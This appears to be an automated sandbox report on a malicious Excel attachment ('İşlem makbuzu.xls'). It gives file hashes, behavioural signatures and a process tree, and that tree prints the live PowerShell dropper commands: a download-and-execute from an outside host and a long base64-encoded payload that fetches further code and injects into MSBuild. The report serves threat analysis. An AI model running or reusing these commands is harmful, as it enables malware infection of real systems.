Analysis

  • max time kernel
    117s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14/07/2020, 14:07

General

  • Target

    İşlem makbuzu.xls

  • Size

    1.2MB

  • MD5

    e1ad40565ca903516bd05ba7fda11572

  • SHA1

    37da3e979b21cf1cfce1caf621e87e4976d85c39

  • SHA256

    bc931d7664aeaef451ee7a596031259b24fc48772e624e2d7bf0e18c094551ef

  • SHA512

    ac66861c96ee0608e4a931121f0edf9bd89937998d0899711f4385c8a33b0b6535643f3000da063bd8cfdd6c1f5826a7e632ca00085e3fdbd73b25622da4b4b4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://ahjuric.si/Code.txt

Signatures

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\İşlem makbuzu.xls"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://ahjuric.si/Code.txt')
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQAIAA9ACAAKAAnAHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACcALQBmACcAZABTAHQAJwAsACcAcgBpAG4AJwAsABwgYABEAGAAbwBgAHcAbgBgAGwAYABvAGEAHSAsACcAZwAnACkAOwBbAHYAbwBpAGQAXQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjACcAKQA7ACQAZgBqAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHIAbgBwAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIAAiADQANAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIANAA4ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHAAbABkAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        PID:1844

Network

        MITRE ATT&CK Matrix

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